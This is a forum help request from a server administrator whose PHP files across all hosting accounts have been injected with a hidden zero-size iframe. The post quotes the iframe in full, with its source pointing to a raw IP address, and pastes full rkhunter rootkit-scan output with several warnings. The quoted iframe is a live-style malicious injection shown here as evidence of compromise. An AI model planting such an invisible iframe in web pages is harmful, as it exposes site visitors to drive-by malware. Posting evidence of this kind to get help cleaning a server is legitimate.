I have a major problem with injecting iframes into every files (header.php footer.php index.php login.php and vars.php ) on all server account.

Code:
<iframe src='h t t p : / / 8 1 . 9 5 . 1 4 5 . 2 4 0 / g o . p h p ? s i d = 1' style='border:0px solid gray;' WIDTH=0 HEIGHT=0 FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no></iframe>
what is the reason and how to fix that ?


and I have the second problem is the rkhunter warnings I am not sure if that have relations with the first problem :
rkhunter results:
Code:
Checking system commands...

  Performing 'strings' command checks
    Checking 'strings' command                               [ OK ]

  Performing 'shared libraries' checks
    Checking for preloading variables                        [ None found ]
    Checking for preload file                                [ Not found ]
    Checking LD_LIBRARY_PATH variable                        [ Not found ]

  Performing file properties checks
    Checking for prerequisites                               [ Warning ]
    /bin/awk                                                 [ OK ]
    /bin/basename                                      [ OK ]
    /bin/bash                                               [ OK ]
    /bin/cat                                                  [ OK ]
    /bin/chmod                                            [ OK ]
    /bin/chown                                               [ OK ]
    /bin/cp                                                  [ OK ]
    /bin/csh                                                 [ OK ]
    /bin/cut                                                 [ OK ]
    /bin/date                                                [ OK ]
    /bin/df                                                  [ OK ]
    /bin/dmesg                                               [ OK ]
    /bin/echo                                                [ OK ]
    /bin/ed                                                  [ OK ]
    /bin/egrep                                               [ OK ]
    /bin/env                                                 [ OK ]
    /bin/fgrep                                               [ OK ]
    /bin/grep                                                [ OK ]
    /bin/kill                                                [ OK ]
    /bin/login                                               [ OK ]
    /bin/ls                                                  [ OK ]
    /bin/mail                                                [ OK ]
    /bin/mktemp                                              [ OK ]
    /bin/more                                                [ OK ]
    /bin/mount                                               [ OK ]
    /bin/mv                                                  [ OK ]
    /bin/netstat                                             [ OK ]
    /bin/passwd                                              [ OK ]
    /bin/ps                                                  [ OK ]
    /bin/pwd                                                 [ OK ]
    /bin/rpm                                                 [ OK ]
    /bin/sed                                                 [ OK ]
    /bin/sh                                                  [ OK ]
    /bin/sort                                                [ OK ]
    /bin/su                                                  [ OK ]
    /bin/touch                                               [ OK ]
    /bin/uname                                               [ OK ]
    /bin/gawk                                                [ OK ]
    /bin/tcsh                                                [ OK ]
    /usr/bin/awk                                             [ OK ]
    /usr/bin/chattr                                          [ OK ]
    /usr/bin/curl                                            [ OK ]
    /usr/bin/cut                                             [ OK ]
    /usr/bin/diff                                            [ OK ]
    /usr/bin/dirname                                         [ OK ]
    /usr/bin/du                                              [ OK ]
    /usr/bin/env                                             [ OK ]
    /usr/bin/file                                            [ OK ]
    /usr/bin/find                                            [ OK ]
     /usr/bin/GET                                             [ Warning ]
    /usr/bin/groups                                          [ Warning ]
    /usr/bin/head                                            [ OK ]
    /usr/bin/id                                              [ OK ]
    /usr/bin/kill                                            [ OK ]
    /usr/bin/killall                                         [ OK ]
    /usr/bin/last                                            [ OK ]
    /usr/bin/lastlog                                         [ OK ]
     /usr/bin/ldd                                             [ Warning ]
    /usr/bin/less                                            [ OK ]
    /usr/bin/locate                                          [ OK ]
    /usr/bin/logger                                          [ OK ]
    /usr/bin/lsattr                                          [ OK ]
    /usr/bin/lynx                                            [ OK ]
    /usr/bin/md5sum                                          [ OK ]
    /usr/bin/newgrp                                          [ OK ]
    /usr/bin/passwd                                          [ OK ]
    /usr/bin/perl                                            [ OK ]
    /usr/bin/pstree                                          [ OK ]
    /usr/bin/readlink                                        [ OK ]
    /usr/bin/runcon                                          [ OK ]
    /usr/bin/sha1sum                                         [ OK ]
    /usr/bin/size                                            [ OK ]
    /usr/bin/slocate                                         [ OK ]
    /usr/bin/stat                                            [ OK ]
    /usr/bin/strace                                          [ OK ]
    /usr/bin/strings                                         [ OK ]
    /usr/bin/sudo                                            [ OK ]
    /usr/bin/tail                                            [ OK ]
    /usr/bin/test                                            [ OK ]
    /usr/bin/top                                             [ OK ]
    /usr/bin/tr                                              [ OK ]
    /usr/bin/uniq                                            [ OK ]
    /usr/bin/users                                           [ OK ]
    /usr/bin/vmstat                                          [ OK ]
    /usr/bin/w                                               [ OK ]
    /usr/bin/watch                                           [ OK ]
    /usr/bin/wc                                              [ OK ]
    /usr/bin/wget                                            [ OK ]
     /usr/bin/whatis                                          [ Warning ]
    /usr/bin/whereis                                         [ OK ]
    /usr/bin/which                                           [ OK ]
    /usr/bin/who                                             [ OK ]
    /usr/bin/whoami                                          [ OK ]
    /usr/bin/gawk                                            [ OK ]
    /sbin/chkconfig                                          [ OK ]
    /sbin/depmod                                             [ OK ]
    /sbin/ifconfig                                           [ OK ]
    /sbin/ifdown                                             [ Warning ]
     /sbin/ifup                                                  [ Warning ]
    /sbin/init                                               [ OK ]
    /sbin/insmod                                             [ OK ]
    /sbin/ip                                                 [ OK ]
    /sbin/lsmod                                              [ OK ]
    /sbin/modinfo                                            [ OK ]
    /sbin/modprobe                                           [ OK ]
    /sbin/nologin                                            [ OK ]
    /sbin/rmmod                                              [ OK ]
    /sbin/runlevel                                           [ OK ]
    /sbin/sulogin                                            [ OK ]
    /sbin/sysctl                                             [ OK ]
    /sbin/syslogd                                            [ OK ]
    /usr/sbin/adduser                                        [ OK ]
    /usr/sbin/chroot                                         [ OK ]
    /usr/sbin/groupadd                                       [ OK ]
    /usr/sbin/groupdel                                       [ OK ]
    /usr/sbin/groupmod                                       [ OK ]
    /usr/sbin/grpck                                          [ OK ]
    /usr/sbin/kudzu                                          [ OK ]
    /usr/sbin/lsof                                           [ OK ]
    /usr/sbin/prelink                                        [ OK ]
    /usr/sbin/pwck                                           [ OK ]
    /usr/sbin/tcpd                                           [ OK ]
    /usr/sbin/useradd                                        [ OK ]
    /usr/sbin/userdel                                        [ OK ]
    /usr/sbin/usermod                                        [ OK ]
    /usr/sbin/vipw                                           [ OK ]
    /usr/sbin/xinetd                                         [ OK ]
    /usr/local/bin/perl                                      [ OK ]
    /usr/local/bin/rkhunter                                  [ OK ]


Checking for rootkits...

  Performing check of known rootkit files and directories
    55808 Trojan - Variant A                                 [ Not found ]
    ADM Worm                                                 [ Not found ]
    AjaKit Rootkit                                           [ Not found ]
    aPa Kit                                                  [ Not found ]
    Apache Worm                                              [ Not found ]
    Ambient (ark) Rootkit                                    [ Not found ]
    Balaur Rootkit                                           [ Not found ]
    BeastKit Rootkit                                         [ Not found ]
    beX2 Rootkit                                             [ Not found ]
    BOBKit Rootkit                                           [ Not found ]
    CiNIK Worm (Slapper.B variant)                           [ Not found ]
    Danny-Boy's Abuse Kit                                    [ Not found ]
    Devil RootKit                                            [ Not found ]
    Dica-Kit Rootkit                                         [ Not found ]
    Dreams Rootkit                                           [ Not found ]
    Duarawkz Rootkit                                         [ Not found ]
    Enye LKM                                                 [ Not found ]
    Flea Linux Rootkit                                       [ Not found ]
    FreeBSD Rootkit                                          [ Not found ]
    ****`it Rootkit                                          [ Not found ]
    GasKit Rootkit                                           [ Not found ]
    Heroin LKM                                               [ Not found ]
    HjC Kit                                                  [ Not found ]
    ignoKit Rootkit                                          [ Not found ]
    ImperalsS-FBRK Rootkit                                   [ Not found ]
    Irix Rootkit                                             [ Not found ]
    Kitko Rootkit                                            [ Not found ]
    Knark Rootkit                                            [ Not found ]
    Li0n Worm                                                [ Not found ]
    Lockit / LJK2 Rootkit                                    [ Not found ]
    Mood-NT Rootkit                                          [ Not found ]
    MRK Rootkit                                              [ Not found ]
    Ni0 Rootkit                                              [ Not found ]
    Ohhara Rootkit                                           [ Not found ]
    Optic Kit (Tux) Worm                                     [ Not found ]
    Oz Rootkit                                               [ Not found ]
    Phalanx Rootkit                                          [ Not found ]
    Phalanx Rootkit (strings)                                [ Not found ]
    Portacelo Rootkit                                        [ Not found ]
    R3dstorm Toolkit                                         [ Not found ]
    RH-Sharpe's Rootkit                                      [ Not found ]
    RSHA's Rootkit                                           [ Not found ]
    Scalper Worm                                             [ Not found ]
    Sebek LKM                                                [ Not found ]
    Shutdown Rootkit                                         [ Not found ]
    SHV4 Rootkit                                             [ Not found ]
    SHV5 Rootkit                                             [ Not found ]
    Sin Rootkit                                              [ Not found ]
    Slapper Worm                                             [ Not found ]
    Sneakin Rootkit                                          [ Not found ]
    Suckit Rootkit                                           [ Not found ]
    SunOS Rootkit                                            [ Not found ]
    SunOS / NSDAP Rootkit                                    [ Not found ]
    Superkit Rootkit                                         [ Not found ]
    TBD (Telnet BackDoor)                                    [ Not found ]
    TeLeKiT Rootkit                                          [ Not found ]
    T0rn Rootkit                                             [ Not found ]
    Trojanit Kit                                             [ Not found ]
    Tuxtendo Rootkit                                         [ Not found ]
    URK Rootkit                                              [ Not found ]
    VcKit Rootkit                                            [ Not found ]
    Volc Rootkit                                             [ Not found ]
    X-Org SunOS Rootkit                                      [ Not found ]
    zaRwT.KiT Rootkit                                        [ Not found ]

  Performing additional rootkit checks
    Suckit Rookit additional checks                          [ OK ]
    Checking for possible rootkit files and directories      [ None found ]
    Checking for possible rootkit strings                    [ None found ]

  Performing malware checks
    Checking running processes for suspicious files          [ None found ]
    Checking for login backdoors                             [ None found ]
    Checking for suspicious directories                      [ None found ]
    Checking for sniffer log files                           [ None found ]

  Performing trojan specific checks
    Checking for enabled xinetd services                     [ None found ]
    Checking for Apache backdoor                             [ Not found ]

  Performing Linux specific checks
    Checking kernel module commands                          [ OK ]
    Checking kernel module names                             [ OK ]
Checking the network...

  Performing check for backdoor ports
    Checking for UDP port 2001                                [ Not found ]
    Checking for TCP port 2006                                [ Not found ]
    Checking for TCP port 2128                                [ Not found ]
    Checking for TCP port 14856                              [ Not found ]
    Checking for TCP port 47107                              [ Not found ]
    Checking for TCP port 60922                              [ Not found ]

  Performing checks on the network interfaces
    Checking for promiscuous interfaces                      [ None found ]

Checking the local host...

  Performing system boot checks
    Checking for local host name                             [ Found ]
    Checking for local startup files                         [ Found ]
    Checking local startup files for malware                 [ None found ]
    Checking system startup files for malware                [ None found ]

  Performing group and account checks
    Checking for passwd file                                 [ Found ]
    Checking for root equivalent (UID 0) accounts            [ None found ]
    Checking for passwordless accounts                       [ None found ]
    Checking for passwd file changes                         [ None found ]
    Checking for group file changes                          [ None found ]
    Checking root account shell history files                [ OK ]

  Performing system configuration file checks
    Checking for SSH configuration file                      [ Found ]
     Checking if SSH root access is allowed                   [ Warning ]
     Checking if SSH protocol v1 is allowed                   [ Warning ]
    Checking for running syslog daemon                       [ Found ]
    Checking for syslog configuration file                   [ Found ]
    Checking if syslog remote logging is allowed             [ Not allowed ]

  Performing filesystem checks
    Checking /dev for suspicious file types                  [ None found ]
    Checking for hidden files and directories                [ Warning ]
Checking application versions...

    Checking version of Exim MTA                             [ OK ]
     Checking version of GnuPG                                [ Warning ]
    Checking version of Apache                               [ Skipped ]
    Checking version of Bind DNS                             [ OK ]
     Checking version of OpenSSL                              [ Warning ]
    Checking version of PHP                                  [ OK ]
    Checking version of Procmail MTA                         [ OK ]
    Checking version of OpenSSH                              [ OK ]


System checks summary
=====================

File properties checks...
    Required commands check failed
    Files checked: 129
    Suspect files: 6

Rootkit checks...
    Rootkits checked : 114
    Possible rootkits: 0

Applications checks...
    Applications checked: 8
    Suspect applications: 2

The system checks took: 3 minutes and 12 seconds

All results have been written to the logfile (/var/log/rkhunter.log)

One or more warnings have been found while checking the system.
Please check the log file (/var/log/rkhunter.log)
how can I fix all this problem please ????